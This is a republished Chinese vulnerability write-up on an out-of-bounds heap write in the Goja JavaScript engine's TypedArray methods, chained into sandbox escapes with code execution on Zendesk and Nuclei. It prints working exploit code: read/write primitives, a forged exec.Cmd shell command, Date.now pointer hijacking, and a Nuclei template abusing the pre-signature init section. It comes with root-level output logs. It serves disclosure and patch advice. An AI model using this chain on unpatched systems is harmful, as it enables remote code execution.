沙箱之外:Goja引擎越界写漏洞与Zendesk、Nuclei任意代码执行

admin 2026-09-24 06:05:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了GojaJavaScript引擎中TypedArray方法的越界堆写入漏洞,并展示了如何构建完整沙箱逃逸利用链,最终在Zendesk和Nuclei上实现任意代码执行。文章深入剖析了漏洞原理、利用路径,并提供了修复建议,建议所有依赖Goja且允许不可信用户执行JS的应用尽快升级。 综合评分: 88 文章分类: 漏洞分析,红队,渗透测试


沙箱之外:Goja 引擎越界写漏洞与 Zendesk、Nuclei 任意代码执行

幻泉之洲

2026年9月22日 10:35 北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Goja 是一个纯 Go 编写的 JavaScript 引擎,被 Grafana k6、PocketBase、Nuclei、Zendesk 等广泛使用。我们在两个 TypedArray 方法中发现了一处越界堆写入,据此构建了完整的沙箱逃逸利用链,最终在 Zendesk 和 Nuclei 上都实现了任意代码执行。本文完整拆解漏洞原理、利用路径和修复建议。

开场:一个值得盯的靶子

最近一段时间我们审了不少 JavaScript 沙箱。倒不是专门去找,实在是它们总出现在各类软件里——SaaS 厂商想给用户写代码做自动化,但共享环境下又不能交出完整控制权,于是塞进去一个 JS 引擎,套上层壳,就敢对用户说”来写吧”。

这类目标对我们来说很有意思。JavaScript 是一门完整的编程语言,攻击面天然很大,一旦从沙箱里爬出去,影响通常很严重。这次的主角是 Goja,GitHub 地址是 https://github.com/dop251/goja。它完全用 Go 实现,被 k6、PocketBase、Nuclei 和 Zendesk 这些产品嵌入在内部。

我们最终利用 Goja 的一处越界堆写入漏洞,在 Zendesk 和 Nuclei 上都打出了任意代码执行。Zendesk 的场景是认证后的 action flows 功能;Nuclei 则是运行含恶意 JavaScript 的未签名模板时触发。两家厂商已经合了补丁,我们建议所有依赖 Goja 且允许不可信用户执行 JS 的应用尽快升级。

漏洞本身:一个算错的偏移

问题出在 TypedArray 的两个方法——with 和 toReversed——的实现上。先给不了解的读者补一句:TypedArray 提供一种对底层数据缓冲的类数组视图。它没法直接创建,必须通过子类,比如 Int32Array 或 BigUint64Array。TypedArray 一个关键特性是创建时能指定偏移量。

let buffer = new ArrayBuffer(8); let view1 = new Int32Array(buffer); let view2 = new Int32Array(buffer, 4); // create a view with a 4 byte offset view1[1] = 1337;

// prints 1337 because view2 starts offset by 4 bytes (one int32) console.log(view2[0]);

注意上面 view1[1] = 1337 这一句。view2 的起始位置比 view1 偏移了 4 字节(一个 Int32 的宽度),所以写 view1 的第二个元素,恰好写进了 view2 的第一个元素。这是 TypedArray 偏移机制的正常行为。

bug 在 with 里。两个方法都是先拷贝 TypedArray 视图暴露的数据、再对拷贝做处理。我们只看 with,因为 toReversed 犯的是同一个错。

func (r *Runtime) typedArrayProto_with(call FunctionCall) Value {     …     // create the new array     a := r.typedArrayCreate(ta.defaultCtor, intToValue(int64(length)))     for k := 0; k < length; k++ {         …         a.writeItem(k, value)     } }

问题在 writeItem 里。这个函数往新数组的底层 buffer 写数据时,用的是 t.offset + index*t.elemSize 来定位。但 t.offset 是 0——因为这个 t 是新创建的数组,它没有继承原视图的偏移量。而 index 却源自原始视图的遍历下标。

func (t *typedArrayObject) writeItem(index int, value Value) {     if index < 0 || index >= t.length {         panic(“TypedArray.writeItem: index out of bounds”)     }     t.viewed.arrayBuffer.data[t.offset+index*t.elemSize] = value.ToBigInt() }

说得直白点:新数组的 data 字段指向原 buffer 的开头,但写入位置却按原视图的偏移继续往后数。一旦原视图有非零偏移,写入就会越过 buffer 边界,写到堆上的相邻内存。这就是越界写。

边界检查确实存在,但检查的是 index 是否小于新数组的长度,而不是 index + 偏移 是否落在 buffer 范围内。第一层防线被自己绕过去了。

把它变成任意读写

越界写本身不能直接执行代码,得先把它转化成任意读写原语。思路不复杂:用两个 ArrayBuffer 紧挨着分配在堆上,让第一个 buffer 的越界写恰好打中第二个 buffer 的元数据。

具体做法是构造一个带偏移的 TypedArray 视图,视图的底层 buffer 是第一个 ArrayBuffer,偏移量刚好让 with(0, value) 的写入落在第二个 ArrayBuffer 的 data 字段上。第二个 buffer 的 data 字段是一个指向底层字节数组的指针,把它改掉,就能让读写操作转向任意内存地址。

用代码表达就是下面这个套路。

let R = (addr) => {     wide_view[read_write_buffer_array_ptr] = BigInt(addr);     return read_write_view[0]; }

let W = (addr, value) => {     wide_view[read_write_buffer_array_ptr] = BigInt(addr);     read_write_view[0] = BigInt(value); }

有了任意地址读写,下一步是劫持控制流。思路是改掉一个能从 JavaScript 调用的 Go 函数指针。选项有几个,我们选了 Date.now。

得先找到 Date.now 在内存里的位置。把它赋给变量再去堆里翻也行,但更省事是把它作为参数传给函数调用,强制压到调用栈上,然后从已有数组出发走对象图,一路摸到 Goja VM 的调用栈。

起点是第二个 ArrayBuffer。它有一个指向 data 字段的指针——就是上面 R/W 原语里用的那个。把指针往回退 96 字节,就能读到关联 JavaScript 对象的 val 字段。ArrayBuffer 的结构体长这样:

type arrayBufferObject struct {     class             string     val               *Object // offset: 16 – the field we want to read     prototype         *Object     extensible        bool     values            map[unistring.String]Value     propNames         []unistring.String     lastSortedPropLen int     idxPropCount      int     symValues         *orderedMap     privateElements   map[*privateEnvType]*privateElements     detached          bool     data              []byte // offset: 112 – read_write_buffer_array_ptr points to this field }

查 Go 结构体字段偏移可以用 structlayout 这个工具,地址是 https://github.com/dominikh/go-tools/blob/v0.7.0/cmd/structlayout/main.go。按这个路线走:

  1. arrayBufferObject 的 val *Object 在偏移 16
  2. Object 的 runtime *Runtime 在偏移 8
  3. Runtime 的 vm *vm 在偏移 872
  4. vm 的 stack []Value 在偏移 24

把 Date.now 放进数组里方便在栈上搜索,然后调用一个函数把这个数组压栈。流程大概是:

// walk object graph to find stack let valPtr = wide_view[read_write_buffer_array_ptr-12]; let rtPtr = R(valPtr+8n); let vmPtr = R(rtPtr+872n); let stack = R(vmPtr+24n); let stackLen = Number(R(vmPtr+32n));

// save Date.now so we can find it later let arr = []; for (let i = 0; i < 100; i++) arr.push(Date.now); // force the array onto the stack by calling a function someFunction(arr);

找到 Date.now 的函数指针之后,难点在于把它盖成什么。Go 的调用约定和 C 不同,不能直接塞一个 execve 地址就了事。这里有两个选择。

第一条路是用 ROP。利用任意读写把 ROP 链写进栈,再借 Date.now 被改掉的指针跳进 gadget。第二条路更直接:在堆上伪造一个 exec.Cmd 结构体,然后调用 (*Cmd).Run 方法。我们选了后者。

先伪造 Cmd 结构体。Go 里字符串以 {ptr, len} 对表示,所以得把命令字符串、参数都按这个布局写在堆上。

let sh = “/bin/sh -c ‘id > /tmp/x'”; let arg1 = “-c”; let arg2 = “id > /tmp/x”; let shBuf = scratch + 0x0n; let arg1Buf = scratch + 0x10n; let arg2Buf = scratch + 0x20n; WS(shBuf, sh); WS(arg1Buf, arg1); WS(arg2Buf, arg2);

// write the Args slice, Go stores strings as a {ptr, len} pair let argv = scratch + 0x50n; W(argv + 0x00n, shBuf); W(argv + 0x08n, BigInt(sh.length)); W(argv + 0x10n, arg1Buf); W(argv + 0x18n, BigInt(arg1.length)); W(argv + 0x20n, arg2Buf); W(argv + 0x28n, BigInt(arg2.length));

// write the Cmd struct let cmd = scratch + 0x100n; Z(cmd, 0x180); W(cmd + 0x00n, shBuf);     // path.ptr W(cmd + 0x08n, sh.length); // path.len W(cmd + 0x10n, argv);      // args.ptr W(cmd + 0x18n, 3n);        // args.len

*Cmd.Run 的地址用 go tool nm 就能拿到:

$ go tool nm ./sandbox-escape | grep ‘(*Cmd).Run’   515c20 T os/exec.(*Cmd).Run

最后一步有个小技巧。Go 里 func (c *Cmd) Run() 等价于 func Run(c *Cmd),接收者 c 通过 rax 寄存器传入。如果直接 Date.now(cmd) 调用,第一个参数会被当作 this(Date 对象),cmd 变成第二个参数。解决办法是用 Function.prototype.call 替换 this 值。Goja 对这个的实现正好能让替换后的 this 值落到 rax 里。

let fn = Date.now; let cmdRunAddr = 0x515c20; W(arr_data, cmd);       // write the addr of the cmd struct to arr[0].tab W(arr_data + 8n, 0n);   // and zero arr[0].data to be safe W(funcVal, cmdRunAddr); fn.call(arr[0]);

跑几次直到成功,命令如期执行:

$ ./sandbox-escape found corrupted buffer found read/write buffer found stack array triggered Date.now $ cat /tmp/x uid=0(root) gid=0(root) groups=0(root)

Zendesk:受限环境里的持久战

我们第一次撞见 Goja 就是在 Zendesk 上,也是整个研究项目的起点。Zendesk 给 Goja VM 加了内存和执行时间限制,超时或超内存直接被掐断。这意味着批量盲写和频繁检查损坏 buffer 的套路要缩水——可靠性下降,要么写入没打中,要么把关键内存踩了导致崩溃。

一个实用的优化是减少 JavaScript 属性查找次数。每次 src.with(0, value) 都会触发一次属性解析,这背后是若干次从潜在坏地址读内存。改成先存引用再复用:

let APPLY = Reflect.apply; let WITH = BigUint64Array.prototype.with; let ARGS = [0, value]; APPLY(WITH, src, ARGS);

这样 with 只需要查找一次。第二个问题是拿不到二进制文件。但 Go 编译通常不带 ASLR,第一个程序段几乎总是映射在 0x400000,里面有 ELF 头和 .text 段。用任意读写从 0x400000 慢慢读内存,凑够了就能离线找偏移。

大量调试、无数次崩溃之后,工作利用链终于跑通了:

$ python3 zendesk_rce_cmd.py –host “$TENANT.zendesk.com” “id” SUMMARY attempts=12 hits=1 [cmd-output] uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup), __EXIT:0

12 次尝试成功 1 次,勉强能用。说实话,这种可靠性放在真实攻击里不算理想,但作为漏洞证明足够了。

Nuclei:一条更顺的路

搞完 Zendesk,我们在网上翻其他用 Goja 的流行项目,特别是什么地方允许不可信用户跑 JavaScript。Nuclei 是 ProjectDiscovery 的漏洞扫描器,v3 开始支持用 JS 写检测逻辑。之前就有安全公告说旧版本能从不可信模板执行代码。如果我们写的模板能达成任意代码执行,那就算个正经漏洞。

Nuclei 不允许用户跑未签名代码,但模板里有个 init 段——这段里的 JavaScript 会在签名校验之前执行。对我们来说简直是天时地利。

下载最新的预编译版本 3.9.0,提取 *Cmd.Run 偏移,把沙箱逃逸代码塞进 init 段,模板长这样:

id: goja-rce

info:   name: goja-rce   author: researcher   severity: info

javascript:   – init: |       {{sandbox escape}}     code: |       “noop”;     matchers:       – type: word         words:           – “noop”

跑几次之后命令照常执行了,和测试程序里的表现一致:

$ ./nuclei -dut -target http://example.com -t ./exploit.yaml -v

                     __     _    ____  __  _______/ /__  (_)   / __ \/ / / / ___/ / _ \/ /  / / / / /_/ / /__/ /  __/ / /_/ /_/\_,_/\__/_/\___/_/   v3.9.0

        projectdiscovery.io

[VER] Started metrics server at localhost:9092 [VER] Saved 1 templates to metadata cache [WRN] Skipping 1 unsigned template[s] [INF] Current nuclei version: v3.9.0 (latest) [INF] Current nuclei-templates version: v10.4.5 (latest) [WRN] Scan results upload to cloud is disabled. [INF] Targets loaded for current scan: 1 [INF] Scan completed in 652.805µs. No results found. [FTL] Could not run nuclei: no templates provided for scan $ cat /tmp/x uid=0(root) gid=0(root) groups=0(root)

顺手还下了个 macOS 版 Nuclei 试了试。那边 ASLR 默认开启,比 Linux 麻烦一点,但堆地址仍然是固定的。Go 在 macOS 上链接 libSystem,里面打包了 libc,所以可以直接用一个 ROP gadget 跳到 system("open -a Calculator"),弹出计算器走人。

这件事说清楚了什么

一开始审一个 Go 写的 JS 引擎,真没指望撞见内存破坏。Go 是内存安全语言,这是共识。但 Go 还有一个特点:默认关 ASLR。这对开发者有好处,调试方便、崩溃好复现。Go 团队显然愿意接受这个风险——公平地说,Go 程序里内存破坏漏洞确实罕见,这个交换在多数场景下是划算的。

然而,一旦代码里出现 unsafe,这笔账就得重算。如果你需要裸指针,或者用了 cgo,那还是把 ASLR 打开吧。再退一步想,有时候 unsafe 可能压根不用。即便开了 ASLR 也不是无懈可击,但比默认关闭强得多。要是连 unsafe 都不用,这个 bug 顶多触发个运行时 panic,而不是变成 RCE。

我们六月中旬把问题报给了 Zendesk 和 Goja。Zendesk 几天内就提了 PR 并合入,响应速度相当不错。最后再强调一次:任何依赖 Goja 的应用,特别是拿它来沙箱不可信代码的,赶紧升到最新版。写 Go 代码的朋友,顺手搜一下 unsafe 的引用也没什么坏处。

Linux 版的 JavaScript 利用代码和存在漏洞的 Nuclei 模板已经公开,地址是 https://github.com/assetnote/goja-heap-oob。其他平台的利用就留给读者自己玩了。



参考资料

[1] https://www.slcyber.io/research/out-of-bounds-out-of-sandbox-rce-goja


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:幻泉之洲 《沙箱之外:Goja 引擎越界写漏洞与 Zendesk、Nuclei 任意代码执行》

评论:0   参与:  0